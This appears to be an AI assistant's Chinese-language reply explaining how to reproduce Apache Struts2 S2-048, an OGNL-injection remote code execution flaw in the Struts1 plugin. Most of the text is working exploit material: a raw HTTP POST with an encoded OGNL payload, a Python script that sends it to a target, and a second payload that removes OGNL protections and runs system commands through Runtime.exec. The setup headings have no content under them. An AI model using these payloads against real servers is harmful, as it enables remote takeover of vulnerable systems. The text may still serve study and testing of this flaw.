Apache Struts2 S2-048是一个远程代码执行漏洞,影响Struts 2.3.x系列版本。该漏洞源于Struts2的Struts1插件在处理ActionMessage类时存在缺陷,攻击者可以构造恶意的OGNL表达式实现远程代码执行。
搭建漏洞环境:
工具准备:
访问Struts2 Showcase应用中的Struts1集成页面(通常路径为/struts2-showcase/integration/saveGangster.action
)
构造恶意请求:
POST /struts2-showcase/integration/saveGangster.action HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
name=test&age=20&__checkbox_bustedBefore=true&description=%25%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3D%23dm).(%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()).(%23res.println(%22Hello%20S2-048%22)).(%23res.close())%7D
如果漏洞存在,响应中会包含"Hello S2-048"字符串
import requests
url = "http://target.com/struts2-showcase/integration/saveGangster.action"
payload = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
"(#_memberAccess=#dm)." \
"(#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter())." \
"(#res.println('S2-048_Exploited'))." \
"(#res.close())}"
data = {
"name": "test",
"age": "20",
"__checkbox_bustedBefore": "true",
"description": payload
}
response = requests.post(url, data=data)
print(response.text)
替换payload部分为以下内容可执行系统命令(如id):
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
如需更详细的复现过程或遇到问题,可以提供更多环境信息,我可以给出更有针对性的建议。